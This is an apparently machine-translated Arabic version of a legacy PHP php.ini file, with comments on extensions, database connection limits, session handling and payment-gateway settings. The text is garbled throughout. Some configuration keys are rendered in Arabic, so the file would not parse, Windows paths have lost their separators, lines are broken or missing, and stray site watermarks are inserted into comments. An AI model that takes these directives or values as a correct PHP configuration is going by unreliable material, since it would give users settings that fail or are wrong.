allow_url_fopen = تشغيل؛ ما إذا كان سيتم السماح بمعاملة عناوين URL كـ http:.. أو الملفات كـ ftp:...
;;;;;;;;;;;;;;;;;;;;;;;
؛ التوسع الديناميكي؛
ملحقات ديناميكية ;
;;;;;;;;;;;;;;;;;;;;;;;
إذا كنت تريد تحميل مكتبة الملحقات تلقائيًا، فاستخدم بناء الجملة التالي:
;
على سبيل المثال، على نظام التشغيل Windows،
;
أو تحت UNIX،
;
لاحظ أن هذا يجب أن يكون اسم الوحدة فقط، وليست هناك حاجة لوضع معلومات الدليل فيه.
استخدم Extension_dir أعلاه للإشارة إلى موقع مكتبة الامتدادات المحددة.
؛ امتداد ويندوز
;الامتداد=php_nsmail.dll
ملحق=php_calendar.dll
;الامتداد=php_dbase.dll
;الامتداد=php_filepro.dll
ملحق=php_gd.dll
;الامتداد=php_dbm.dll
;الامتداد=php_mssql.dll
;الامتداد=php_zlib.dll
;الامتداد=php_filepro.dll
;الامتداد=php_imap4r2.dll
;الامتداد=php_ldap.dll
;الامتداد=php_crypt.dll
;الامتداد=php_msql2.dll
;الامتداد=php_odbc.dll
لاحظ أن دعم MySQL مدمج الآن، لذا ليست هناك حاجة لاستخدام ملف dll الخاص به
؛؛؛؛؛؛؛؛؛؛؛؛؛؛؛؛؛؛؛؛؛
إعدادات الوحدة؛
إعدادات الوحدة؛
;;;;;;;;;;;;;;;;;;;
Define_syslog_variables = Off؛ لتحديد متغيرات سجل النظام المختلفة
مثل: $LOG_PID، $LOG_CRON، وما إلى ذلك.
يعد إيقاف تشغيله فكرة جيدة لتحسين الكفاءة.
في وقت التشغيل، يمكنك استدعاء الدالة Define_syslog_variables() لتعريف هذه المتغيرات
[وظيفة البريد]؛
SMTP = المضيف المحلي فقط لأنظمة win32
sendmail_from [email protected] فقط لأنظمة win32
الإعداد
الافتراضي هو 'sendmail -t -i')
debugger.host = localhost
منفذ التصحيح = 7869
debugger.enabled = خطأ
[تسجيل]
تشير هذه التكوينات إلى آلية التسجيل المستخدمة في الأمثلة.
راجع الأمثلة/README.logging لمزيد من التوضيح
;logging.method = ديسيبل
;logging.directory = /path/to/log/directory
[Java]
;java.class.path = .php_Java.jar
;java.home = c:jdk
;java.library = c:jdkjrebinhotspotjvm.dll
;java.library.path = .
[SQL]
sql.safe_mode = إيقاف
[ODBC]
;uodbc.default_db = لم يتم تنفيذه بعد
;uodbc.default_user = لم يتم تنفيذه بعد
;uodbc.default_pw = لم يتم تنفيذه بعد
uodbc.allow_persistent = On؛ السماح بالاتصالات المستمرة أو تعطيلها
uodbc.check_persistent = On؛ تحقق مما إذا كان الاتصال لا يزال متاحًا قبل إعادة استخدامه
uodbc.max_persistent = -1؛ الحد الأقصى لعدد الاتصالات المستمرة
uodbc.max_links = -1؛ الحد الأقصى لعدد الاتصالات (المستمرة وغير المستمرة) يمثل إدارة الشبكة غير المحدودة u.bitsCN.com
uodbc.defaultlrl = 4096؛ حقول التحكم من النوع LONG تُرجع عدد بايتات المتغير، 0 يعني تمرير (؟) 0 يعني تمرير
uodbc.defaultbinmode = 1؛ التحكم في البيانات الثنائية. 0 يمثل معالجة البيانات الثنائية. 0 يعني المرور، 1 يعود كما هو، 2 يتحول إلى حرف
راجع وثائق odbc_binmode وodbc_longreadlen للحصول على شرح لـ uodbc.defaultlrl وuodbc.defaultbinmode
[MySQL]
.
mysql.allow_persistent = On؛ السماح بالاتصالات المستمرة أو تعطيلها
mysql.max_persistent = -1؛ الحد الأقصى لعدد الاتصالات المستمرة -1 يعني غير محدود
mysql.max_links = -1؛ الحد الأقصى لعدد الاتصالات (المستمرة وغير المستمرة -1 يعني غير محدود).
mysql.default_port = ; المنفذ الافتراضي الذي تستخدمه mysql_connect() إذا لم يتم تعيينه، mysql_connect().
سيستخدم المتغير $MYSQL_TCP_PORT، أو إدخال mysql-tcp ضمن /etc/services (unix)،
أو يتم تعريف MYSQL_PORT أثناء التجميع (بهذا الترتيب)
؛ بيئة Win32، سيتم فحص MYSQL_PORT فقط.
mysql.default_socket = ; اسم المقبس الافتراضي المستخدم لاتصالات MySql المحلية، إذا كان فارغًا، استخدم قيمة MYSQL المضمنة
mysql.default_host
= ;
mysql_connect () اسم المستخدم المستخدم افتراضيًا (غير صالح في الوضع الآمن)
mysql.default_password = ; كلمة المرور المستخدمة بواسطة mysql_connect() افتراضيًا (غير صالحة في الوضع الآمن)
لاحظ أن حفظ كلمات المرور ضمن هذا الملف يعد فكرة *سيئة* بشكل عام
*يمكن لأي* مستخدم لديه حق الوصول إلى PHP التشغيل
; 'echo cfg_get_var("mysql.default_password")' لعرض كلمة المرور هذه!
وبالطبع، سيتمكن أي مستخدم لديه حقوق قراءة الملف من رؤية كلمة المرور هذه
.
msql.allow_persistent = On؛ السماح بالاتصالات المستمرة أو تعطيلها
msql.max_persistent = -1؛ الحد الأقصى لعدد الاتصالات المستمرة -1 يعني غير محدود
msql.max_links = -1؛ الحد الأقصى لعدد الاتصالات (المستمرة وغير المستمرة -1 يعني غير محدود
[PostgresSQL]
).
pgsql.allow_persistent = On؛ السماح بالاتصالات المستمرة أو تعطيلها
pgsql.max_persistent = -1؛ الحد الأقصى لعدد الاتصالات المستمرة -1
pgsql.max_links = -1؛ الحد الأقصى لعدد الاتصالات (المستمرة وغير المستمرة -1 يعني غير محدود
[Sybase]
).
sybase.allow_persistent = On؛ السماح أو تعطيل الاتصالات المستمرة
sybase.max_persistent = -1؛ الحد الأقصى لعدد الاتصالات المستمرة -1 يعني غير محدود
sybase.max_links = -1؛ الحد الأقصى لعدد الاتصالات (المستمرة وغير المستمرة -1 يعني غير محدود).
;sybase.interface_file = "/usr/sybase/interfaces"
sybase.min_error_severity = 10؛ الحد الأدنى لخطورة الأخطاء المعروضة
sybase.min_message_severity = 10؛ الحد الأدنى لخطورة الرسائل المعروضة
sybase.compatability_mode = Off؛ وضع التوافق مع الإصدارات الأقدم من PHP 3.0، إذا تم تشغيله، فسيؤدي ذلك إلى تشغيل PHP تلقائيًا
قم بتعيين نوع Sybase لهم وفقًا للنتيجة،
بدلاً من معاملتهم جميعًا كسلاسل.
لن يبقى وضع التوافق هذا إلى الأبد،
لذلك، قم بإجراء التغييرات اللازمة على التعليمات البرمجية الخاصة بك،
وأغلق العنصر
.
sybct.allow_persistent = On؛ السماح بالاتصالات المستمرة أو تعطيلها
sybct.max_persistent = -1؛ الحد الأقصى لعدد الاتصالات المستمرة -1 يعني غير محدود
sybct.max_links = -1؛ الحد الأقصى لعدد الاتصالات (المستمرة وغير المستمرة -1 يعني غير محدود).
sybct.min_server_severity = 10؛ يتم عرض الحد الأدنى لخطورة الأخطاء
sybct.min_client_severity = 10؛ الحد الأدنى لخطورة الرسائل المعروضة
[bcmath]
bcmath.scale = 0؛ عدد الأرقام العشرية لجميع وظائف bcmath
[browscap]
؛browscap = extra/browscap.ini
browscap = C:WINSYSTEMinetsrvbrowscap.ini
[إنفورميكس]
ifx.default_host = ; المضيف الذي تستخدمه ifx_connect() افتراضيًا (غير صالح في الوضع الآمن)
ifx.default_user = ; اسم المستخدم الافتراضي الذي تستخدمه ifx_connect() (غير صالح في الوضع الآمن)
ifx.default_password = ; كلمة المرور الافتراضية المستخدمة بواسطة ifx_connect() (غير صالحة في الوضع الآمن)
ifx.allow_persistent = On؛ السماح بالاتصالات المستمرة أو تعطيلها
ifx.max_persistent = -1؛ الحد الأقصى لعدد الاتصالات المستمرة -1 يعني غير محدود
ifx.max_links = -1؛ الحد الأقصى لعدد الاتصالات (المستمرة وغير المستمرة -1 يعني غير محدود).
ifx.textasvarchar = 0؛ إذا تم تشغيله، فسيقوم رمز حالة التحديد بإرجاع محتويات حقل "نص كبير الحجم" بدلاً من المعرف الخاص به
ifx.byteasvarchar = 0 ؛ إذا تم تشغيله، فسيقوم رمز حالة التحديد بإرجاع محتويات حقل "byte blob" بدلاً من المعرف الخاص به
ifx.charasvarchar = 0؛ تتبع المسافة البيضاء التي تم تجريدها من سلسلة أحرف ذات طول ثابت.
قد يكون صالحًا لمستخدمي Informix SE.
ifx.blobinfile = 0؛ إذا تم تشغيله، فسيتم تصدير محتويات النص ووحدات البايت إلى ملف
; بدلا من الحفظ في الذاكرة .
ifx.nullformat = 0 ؛ يتم إرجاع NULL كحقل فارغ ما لم يتم تعيينه هنا على 1.
)
، يتم إرجاع NULL كسلسلة NULL.
session.save_handler = الملفات؛ طريقة التحكم لحفظ/استرداد البيانات
session.save_path = C:wintemp; تم تمرير المعلمات إلى وحدة التحكم عند تعيين save_handler على ملف،
هذا هو المسار الذي سيتم حفظ ملفات البيانات فيه.
session.use_cookies = 1؛ ما إذا كان سيتم استخدام ملفات تعريف الارتباط
اسم الجلسة = PHPSESSID
اسم الجلسة المراد استخدامها في ملف تعريف الارتباط
session.auto_start = 0؛ تهيئة الجلسة عند بدء الطلب
session.cookie_lifetime = 0; هو وقت تخزين ملف تعريف الارتباط بالثواني.
; أو 0، حتى يتم إعادة تشغيل المتصفح
session.cookie_path = / ; مسار صالح لملف تعريف الارتباط
session.cookie_domain = ; مجال صالح لملف تعريف الارتباط
session.serialize_handler = php; وحدة التحكم المستخدمة لتوصيل البيانات
php هو وحدة التحكم القياسية لـ PHP.
session.gc_probability = 1؛ عمليات "جمع البيانات المهملة" بالنسبة المئوية
إمكانية البدء في كل مرة يتم فيها تهيئة مدير الشبكة bitscn_com
session.gc_maxlifetime = 1440؛ بعد عدد الثواني المشار إليها بهذا الرقم، سيتم أخذ البيانات المحفوظة في الاعتبار
"جزء (قمامة)" وتم تنظيفه بواسطة عملية gc.
session.referer_check = ; تحقق من مُحيلي HTTP لإبطال المعرفات الإضافية المضمنة في عناوين URL
session.entropy_length = 0؛ كم عدد البايتات المطلوب قراءتها من الملف
session.entropy_file = ; حدد هنا لإنشاء معرف الجلسة
؛ جلسة.الانتروبي_طول = 16
; session.entropy_file = /dev/urandom
session.cache_limiter = nocache; اضبط على {nocache, Private, public} لتحديد HTTP
مشكلة في التخزين المؤقت
session.cache_expire = 180؛ تنتهي صلاحية المستند بعد n دقيقة
session.use_trans_sid = 1؛ استخدم دعم SID الانتقالي، إذا تم تمكينه في وقت الترجمة
--enable-trans-sid
url_rewriter.tags = "a=href,area=href,frame=src,input=src,form=fakeentry"
[MSSQL]
;الامتداد=php_mssql.dll
mssql.allow_persistent = On؛ السماح بالاتصالات المستمرة أو تعطيلها
mssql.max_persistent = -1؛ الحد الأقصى لعدد الاتصالات المستمرة -1 يعني غير محدود
mssql.max_links = -1؛ الحد الأقصى لعدد الاتصالات (المستمرة وغير المستمرة) يمثل إدارة الشبكة غير المحدودة u.bitsCN.com
mssql.min_error_severity = 10؛ الحد الأدنى لخطورة الأخطاء المعروضة
mssql.min_message_severity = 10؛ الحد الأدنى لخطورة الرسائل المعروضة
mssql.compatability_mode
= Off؛ الوضع المتوافق مع الإصدارات الأقدم من PHP 3.0.
؛ ؟ ؟ ؟ ؟
;تأكيد.نشط = قيد التشغيل ; تأكيد(expr);
;assert.warning = On ; قم بإصدار تحذير PHP لكل تأكيد فاشل.
;assert.bail = Off؛ لا تقوم بالإنقاذ بشكل افتراضي.
;assert.callback = 0 ; سيتم استدعاء وظيفة المستخدم في حالة فشل التأكيد.
;assert.quiet_eval = 0 ; قم بتقييم التعبير باستخدام error_reporting() الحالي الذي تم تعيينه على true إذا كنت تريد error_reporting(0) حول eval()
.
ii.allow_persistent = On؛ السماح بالاتصالات المستمرة أو تعطيلها
ii.max_persistent = -1؛ الحد الأقصى لعدد الاتصالات المستمرة -1 يعني غير محدود
ii.max_links = -1؛ الحد الأقصى لعدد الاتصالات (المستمرة وغير المستمرة -1 يعني غير محدود).
ii.default_database =؛ قاعدة البيانات الافتراضية (التنسيق: [node_id::]dbname[/srv_class]
ii.default_user = ;المستخدم الافتراضي
ii.default_password =؛ تنزيل إدارة الشبكة لكلمة المرور الافتراضية dl.bitscn.com
[Verisign Payflow Pro]
pfpro.defaulthost = "test.signio.com"؛ خادم Signio الافتراضي
pfpro.defaultport = 443؛ المنفذ الافتراضي للاتصال
pfpro.defaulttimeout = 30؛ المهلة الافتراضية بالثواني
؛ pfpro.proxyaddress = ;
; pfpro.proxyport = ;
pfpro.proxylogon = ; تسجيل دخول الوكيل الافتراضي (اسم مستخدم تسجيل الدخول)
pfpro.proxypassword =
;
المقبس.use_system_read = قيد التشغيل؛ استخدم وظيفة القراءة () الخاصة بالنظام بدلاً من حزمة php_read()
المتغيرات المحلية: (المتغيرات المحلية)
عرض علامة التبويب: 4
؛ نهاية: